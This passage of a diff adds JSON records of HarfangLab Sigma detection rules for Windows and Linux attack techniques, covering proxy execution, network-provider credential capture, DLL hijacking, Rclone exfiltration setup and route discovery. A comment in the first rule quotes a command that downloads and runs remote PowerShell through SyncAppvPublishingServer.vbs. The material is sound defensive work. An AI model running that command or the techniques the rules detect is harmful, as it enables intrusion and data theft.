+    "https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/",
+    "https://twitter.com/andreanaspi/status/1634284600422813703",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_syncappvpublishingserver_vbs.yml",
+  "content": "title: Suspicious Proxy Execution via SyncAppvPublishingServer.vbs\nid: b6e34025-c8bb-4d31-b753-65184d578ae6\ndescription: |\n    Detects the use of SyncAppvPublishingServer.vbs which is used by Microsoft Application Virtualization (App-V).\n    This VBS script can be used as a PowerShell host to execute PowerShell code and should never be in use unless App-V is deployed.\n    Attackers may abused it to bypass security restrictions.\n    It is recommended to investigate the parent process for suspicious activities, as well as for other malicious actions stemming from SyncAppvPublishingServer.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/\n    - https://twitter.com/andreanaspi/status/1634284600422813703\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/09/04\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Syncappvpublishingserver\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # SyncAppvPublishingServer.vbs \"n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX\"\n        CommandLine|contains|all:\n            - 'SyncAppvPublishingServer.vbs'\n            - 'n;'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b6e34025-c8bb-4d31-b753-65184d578ae6",
+  "rule_name": "Suspicious Proxy Execution via SyncAppvPublishingServer.vbs",
+  "rule_description": "Detects the use of SyncAppvPublishingServer.vbs which is used by Microsoft Application Virtualization (App-V).\nThis VBS script can be used as a PowerShell host to execute PowerShell code and should never be in use unless App-V is deployed.\nAttackers may abused it to bypass security restrictions.\nIt is recommended to investigate the parent process for suspicious activities, as well as for other malicious actions stemming from SyncAppvPublishingServer.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b713fdb6-4c07-4d42-ae5c-44b619b0a4d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075583Z",
+  "creation_date": "2026-03-23T11:45:34.075585Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075590Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.scip.ch/en/?labs.20220217",
+    "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
+    "https://github.com/gtworek/PSBits/blob/master/PasswordStealing/NPPSpy/Get-NetworkProviders.ps1",
+    "https://attack.mitre.org/techniques/T1556/008/"
+  ],
+  "name": "t1556_008_network_provider.yml",
+  "content": "title: Network Provider Installed\nid: b713fdb6-4c07-4d42-ae5c-44b619b0a4d5\ndescription: |\n    Detects the installation of a new Network Provider.\n    Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.\n    Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process.\n    You may use the Get-NetworkProviders.ps1 script in the rule's references to list all registered network providers. It is recommended to determine if they are legitimate.\nreferences:\n    - https://www.scip.ch/en/?labs.20220217\n    - https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n    - https://github.com/gtworek/PSBits/blob/master/PasswordStealing/NPPSpy/Get-NetworkProviders.ps1\n    - https://attack.mitre.org/techniques/T1556/008/\ndate: 2023/08/08\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1556.008\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\NetworkProvider\\ProviderPath'\n\n    exclusion_empty:\n        Details:\n            - '(Empty)'\n            - '\"\"'\n\n    exclusion_system:\n        ProcessImage|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_cbfs:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Tresorit\\v*\\cbfs-installer.exe'\n\n    exclusion_vbox_additions:\n        ProcessImage|endswith: '\\VBoxWindowsAdditions-amd64.exe'\n        Details: '?:\\windows\\system32\\VBoxMRXNP.dll'\n\n    exclusion_citrix:\n        Details:\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\x64\\pnsson.dll'\n            - '?:\\Program Files (x86)\\Citrix\\Online Plugin\\x64\\pnsson.dll'\n\n    exclusion_ibm:\n        Details: '?:\\Program Files (x86)\\IBM\\Client Access\\Shared\\Cwbnetnt.dll'\n\n    exclusion_tiworker:\n        ProcessImage: '?:\\Windows\\WinSxS\\\\*\\TiWorker.exe'\n        Details:\n            - '%SystemRoot%\\System32\\nfsnp.dll'\n            - '%SystemRoot%\\System32\\p9np.dll'\n\n    exclusion_iprint:\n        Details: '?:\\Program Files\\Novell\\iPrint\\iPrntWinCredMan.dll'\n\n    exclusion_tun:\n        - Details: '?:\\WINDOWS\\system32\\WLPRNPNT.DLL'\n          ProcessImage|endswith: '\\TunPlus\\setup.exe'\n        - Details: '?:\\WINDOWS\\system32\\WLPRNPNT.DLL'\n          TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TunLprNP\\NetworkProvider\\ProviderPath'\n\n    exclusion_regedit:\n        ProcessImage: '?:\\Windows\\regedit.exe'\n        Details:\n            - '%SystemRoot%\\System32\\ntlanman.dll'\n            - '%SystemRoot%\\System32\\davclnt.dll'\n            - '?:\\WINDOWS\\SysWOW64\\f5netprov64.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b713fdb6-4c07-4d42-ae5c-44b619b0a4d5",
+  "rule_name": "Network Provider Installed",
+  "rule_description": "Detects the installation of a new Network Provider.\nNetwork provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.\nAdversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process.\nYou may use the Get-NetworkProviders.ps1 script in the rule's references to list all registered network providers. It is recommended to determine if they are legitimate.\n",
+  "rule_creation_date": "2023-08-08",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1556.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b728c5bc-b31e-4562-8186-147846992e1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591967Z",
+  "creation_date": "2026-03-23T11:45:34.591971Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591979Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1550903546916311043",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rasphone.yml",
+  "content": "title: DLL Hijacking via rasphone.exe\nid: b728c5bc-b31e-4562-8186-147846992e1c\ndescription: |\n    Detects potential Windows DLL Hijacking via rasphone.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1550903546916311043\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rasphone.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\connect.dll'\n            - '\\credui.dll'\n            - '\\dui70.dll'\n            - '\\eappcfg.dll'\n            - '\\iphlpapi.dll'\n            - '\\netsetupapi.dll'\n            - '\\netshell.dll'\n            - '\\rasgcw.dll'\n            - '\\rtutils.dll'\n            - '\\sspicli.dll'\n            - '\\twinapi.dll'\n            - '\\xwizards.dll'\n            - '\\xwtpw32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b728c5bc-b31e-4562-8186-147846992e1c",
+  "rule_name": "DLL Hijacking via rasphone.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rasphone.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b728f2c6-97c2-49a1-8620-a424f5d582d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610831Z",
+  "creation_date": "2026-03-23T11:45:34.610835Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610842Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/rclone-mega-extortion/",
+    "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/",
+    "https://attack.mitre.org/techniques/T1567/002/",
+    "https://attack.mitre.org/software/S1040/"
+  ],
+  "name": "t1567_002_rclone_configuration_created.yml",
+  "content": "title: New Rclone Configuration Created\nid: b728f2c6-97c2-49a1-8620-a424f5d582d9\ndescription: |\n    Detects the creation of a new Rclone configuration file.\n    Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n    It is recommended to investigate the process for suspicious activities and search for any cybercrime-related activities on other hosts.\nreferences:\n    - https://redcanary.com/blog/rclone-mega-extortion/\n    - https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/\n    - https://attack.mitre.org/techniques/T1567/002/\n    - https://attack.mitre.org/software/S1040/\ndate: 2021/09/30\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567.002\n    - attack.t1048.002\n    - attack.t1048.003\n    - attack.s1040\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Tool.Rclone\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|startswith: '?:\\Users\\\\*\\.config\\rclone\\'\n    condition: selection\nlevel: low\n# level: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b728f2c6-97c2-49a1-8620-a424f5d582d9",
+  "rule_name": "New Rclone Configuration Created",
+  "rule_description": "Detects the creation of a new Rclone configuration file.\nRclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\nIt is recommended to investigate the process for suspicious activities and search for any cybercrime-related activities on other hosts.\n",
+  "rule_creation_date": "2021-09-30",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.002",
+    "attack.t1048.003",
+    "attack.t1567.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b7865333-71e3-4f99-be6c-df2db775b39d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.541106Z",
+  "creation_date": "2026-03-23T11:45:34.603491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603498Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/ip-route.8.html",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_ip_route.yml",
+  "content": "title: IP Route Execution\nid: b7865333-71e3-4f99-be6c-df2db775b39d\ndescription: |\n    Detects the execution of the IP route utility to display the routing table management.\n    Attackers may use it during discovery phase to discover remote systems.\n    It is recommended to investigate other actions taken by this user in their session.\nreferences:\n    - https://man7.org/linux/man-pages/man8/ip-route.8.html\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/12/23\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/ip'\n        CommandLine|contains: ' r'  # route\n        ParentImage|contains: '?'\n\n    exclusion_not_show:\n        CommandLine|contains:\n            - ' add'\n            - ' change'\n            - ' replace'\n            - ' delete'\n            - ' flush'\n            - ' get'\n            - ' restore'\n            - ' rule'\n\n    exclusion_openvpn:\n        - ProcessImage: '/usr/sbin/openvpn'\n        - ProcessParentImage: '/usr/sbin/openvpn'\n\n    exclusion_avahi:\n        ParentCommandLine:\n            - '/bin/sh /etc/network/if-up.d/avahi-autoipd'\n            - '/bin/sh /etc/avahi/avahi-autoipd.action *'\n            - '/bin/sh /usr/lib/avahi/avahi-daemon-check-dns.sh'\n\n    exclusion_i3status:\n        ParentImage: '/usr/bin/i3status-rs'\n\n    exclusion_puppet:\n        - ParentImage:\n            - '*/puppetlabs/puppet/bin/ruby'\n            - '*/puppetlabs/puppet/bin/facter'\n        - ParentCommandLine:\n            - '/bin/sh /opt/puppetlabs/bin/facter --puppet --json'\n            - '/opt/puppetlabs/server/apps/puppetserver/puppet-server-release.jar'\n            - '/usr/bin/ruby /usr/bin/puppet agent *'\n            - '/bin/sh /opt/puppetlabs/bin/puppet *'\n            - '/usr/bin/ruby /usr/bin/facter *'\n        - GrandparentImage:\n            - '/opt/puppetlabs/puppet/bin/ruby'\n            - '/opt/puppetlabs/puppet/bin/facter'\n        - GrandparentCommandLine: '/usr/bin/ruby /usr/bin/puppet agent *'\n\n    exclusion_facter:\n        - ParentImage: '/usr/bin/facter'\n        - ParentCommandLine:\n            - 'sh -c /usr/bin/facter 2>/dev/null'\n            - '/usr/bin/ruby /usr/bin/facter'\n            - '/usr/bin/ruby /usr/bin/facter --*'\n\n    exclusion_insights:\n        CommandLine: '/sbin/ip route show table all'\n        ParentImage: '/usr/bin/timeout'\n\n    exclusion_insights_client:\n        ParentCommandLine:\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py *'\n            - '/usr/bin/python /usr/lib/python*/site-packages/insights_client/run.py *'\n\n    exclusion_sosreport:\n        - GrandparentCommandLine: '/usr/bin/python /usr/sbin/sosreport'\n        - GrandparentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n\n    exclusion_ocsinventory1:\n        ParentCommandLine|startswith:\n            # /usr/bin/perl /usr/bin/ocsinventory-agent --force\n            # /usr/bin/perl /usr/sbin/ocsinventory-agent --wait 100\n            - '/usr/bin/perl /usr/bin/ocsinventory-agent'\n            - '/usr/bin/perl /usr/sbin/ocsinventory-agent'\n            - '/usr/bin/perl /usr/local/bin/ocsinventory-agent'\n    exclusion_ocsinventory2:\n        GrandparentCommandLine|startswith:\n            # /usr/bin/perl /usr/bin/ocsinventory-agent --force\n            # /usr/bin/perl /usr/sbin/ocsinventory-agent --wait 100\n            - '/usr/bin/perl /usr/bin/ocsinventory-agent'\n            - '/usr/bin/perl /usr/sbin/ocsinventory-agent'\n            - '/usr/bin/perl /usr/local/bin/ocsinventory-agent'\n\n    exclusion_hyperv:\n        GrandparentImage:\n            - '/usr/sbin/hypervkvpd'\n            - '/usr/sbin/hv_kvp_daemon'\n\n    exclusion_qualys:\n        GrandparentImage:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_gitlab:\n        - ParentCommandLine|contains: '/opt/gitlab/embedded/bin/ruby /opt/gitlab/embedded/bin'\n        - GrandparentCommandLine: '/bin/bash /opt/gitlab/bin/gitlab-ctl reconfigure'\n        - GrandparentImage|startswith: '/opt/gitlab/embedded/bin/'\n\n    exclusion_udscan:\n        - ParentImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n        - ProcessAncestors|contains: '|/opt/microfocus/Discovery/.discagnt/udscan|'\n\n    exclusion_pacemaker_1:\n        CurrentDirectory|startswith: '/var/lib/pacemaker/'\n        GrandparentCommandLine|startswith: '/bin/sh /usr/lib/ocf/resource.d/heartbeat/'\n\n    exclusion_pacemaker_2:\n        CurrentDirectory|startswith: '/var/lib/pacemaker/'\n        ParentCommandLine|startswith: '/bin/sh /usr/lib/ocf/resource.d/heartbeat/'\n\n    exclusion_pacemaker_3:\n        ParentImage: '/usr/libexec/pacemaker/pacemaker-execd'\n\n    exclusion_ocsinventory:\n        ParentCommandLine: '/bin/bash /etc/cron.*/ocsinventory-agent'\n\n    exclusion_ovirt:\n        ParentImage|startswith: '/usr/lib/jvm/java-??-openjdk-'\n        ParentCommandLine|startswith: 'ovirt-engine '\n\n    exclusion_filemaker:\n        ParentCommandLine|contains: 'sh -c ip route '\n        GrandparentImage: '/opt/FileMaker/FileMaker Server/Admin/FAC/facstart.sh'\n\n    exclusion_microk8s:\n        Image: '/snap/microk8s/*/bin/ip'\n\n    exclusion_oracle:\n        ParentCommandLine: '*/tmp/CVU_*_resource/exectask* -getIfInfo*'\n\n    exclusion_node:\n        ParentImage|endswith: '/bin/node'\n        CommandLine:\n            - 'ip -6 r'\n            - 'ip -4 r'\n\n    exclusion_salt:\n        ParentCommandLine|contains:\n            - '/usr/lib/venv-salt-minion/*/bin/salt-minion*'\n            - '/var/tmp/.root_??????_salt/salt-call *'\n            - '/usr/bin/salt-master'\n            - '/usr/bin/salt-minion'\n            - '/usr/bin/salt-call'\n\n    exclusion_fogproject:\n        GrandparentCommandLine: 'php /opt/fog/service/FOGMulticastManager/FOGMulticastManager'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_openconnect:\n        ParentCommandLine: '/bin/sh /usr/share/vpnc-scripts/vpnc-script'\n\n    exclusion_glpi:\n        GrandparentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - '/usr/bin/perl /usr/bin/glpi-agent *'\n\n    exclusion_cloudinit:\n        ParentCommandLine|startswith: '/usr/bin/python3 /usr/bin/cloud-init '\n\n    exclusion_fsecure:\n        - ProcessParentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n\n    exclusion_google_network_daemon:\n        - ProcessParentCommandLine: '/usr/bin/python3 /usr/bin/google_network_daemon'\n        - ProcessParentImage: '/usr/lib/google/guest_agent/core_plugin'\n\n    exclusion_blueway:\n        # /opt/blueway/bw_installeur/blueway-platform_linux_7.0.1-7/vendors/linux/ruby/bin/ruby\n        ProcessParentImage: '/opt/blueway/bw_installeur/blueway-platform_linux_*/vendors/linux/ruby/bin/ruby'\n        ProcessGrandparentCommandLine|contains: '/install_bw.sh'\n\n    exclusion_alertmanager:\n        ParentImage: '/usr/local/bin/alertmanager-*'\n\n    exclusion_hv_kvp_daemon:\n        GrandparentImage: '/usr/lib/linux-tools-*/hv_kvp_daemon'\n\n    exclusion_shadow:\n        GrandparentImage: '/usr/share/shadow-prod/shadow-launcher'\n\n    exclusion_agarik:\n        ParentImage: '/opt/agarik/vision/bin/vision_client'\n\n    exclusion_paloalto:\n        - ParentImage: '/opt/paloaltonetworks/globalprotect/PanGPS'\n        - GrandparentImage: '/opt/paloaltonetworks/globalprotect/PanGPS'\n\n    exclusion_glpi_agent:\n        ProcessGrandparentCommandLine: '/usr/bin/perl /usr/bin/glpi-agent'\n\n    exclusion_bettercap:\n        ParentCommandLine|startswith: '/tmp/bettercap '\n\n    exclusion_softtap:\n        - ProcessParentCommandLine|startswith: '/bin/bash /usr/sbin/softtap '\n        - ProcessGrandparentCommandLine|contains: 'softtap'\n\n    exclusion_zscaler:\n        GrandparentImage:\n            - '/opt/zscaler/bin/zsaservice'\n            - '/opt/zscaler/bin/zstunnel'\n\n    exclusion_mk_agent:\n        CurrentDirectory: '/usr/lib/check_mk_agent/plugins/'\n\n    exclusion_tanium:\n        ProcessParentCommandLine|startswith: '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n\n    exclusion_prom_alert:\n        ProcessGrandparentImage|contains:\n            - '/opt/prom_alert/muse/alertmanager/bin/alert-muse'\n            - '/opt/prom_alert/mim/alertmanager/bin/alert-mim'\n            - '/opt/prom_alert/mam/alertmanager/bin/alert-mam'\n\n    exclusion_domotz:\n        ProcessParentImage: '/opt/domotz/bin/domotz_node'\n\n    exclusion_ceph:\n        ProcessParentCommandLine: '*bin/python* /var/lib/ceph/* list-networks'\n\n    exclusion_run-parts:\n        ProcessParentImage: '/usr/bin/run-parts'\n\n    exclusion_sysconfig:\n        ProcessParentCommandLine|startswith: '/bin/sh /etc/sysconfig/network-scripts/'\n\n    exclusion_nagios:\n        ProcessAncestors|contains: '|/opt/nagiosagent/*/perl/bin/perl|'\n\n    exclusion_bladelogic:\n        - ProcessImage: '/opt/bladelogic/*/bin/rscd_full'\n        - ProcessParentImage: '/opt/bladelogic/*/bin/rscd_full'\n        - ProcessAncestors|contains: '|/opt/bladelogic/*/bin/rscd_full|'\n\n    exclusion_bmc:\n        ProcessAncestors|contains: '|/opt/bmc/bladelogic/RSCD/sbin/bldeploy|'\n\n    exclusion_containerd:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_manageengine:\n        - ProcessParentImage:\n            - '/usr/local/manageengine/uems_agent/bin/dcservice'\n            - '/usr/local/manageengine/uems_agent/bin/dcconfig'\n            - '/usr/local/manageengine/uems_agent/bin/dcagentupgrader'\n        - ProcessGrandparentImage:\n            - '/usr/local/manageengine/uems_agent/bin/dcservice'\n            - '/usr/local/manageengine/uems_agent/bin/dcconfig'\n            - '/usr/local/manageengine/uems_agent/bin/dcagentupgrader'\n\n    exclusion_patchmon:\n        ProcessParentImage: '/usr/local/bin/patchmon-agent'\n\n    exclusion_anydesk:\n        ProcessGrandparentImage: '/usr/bin/anydesk'\n\n    exclusion_expressvpn:\n        ProcessParentImage: '/usr/sbin/expressvpnd'\n\n    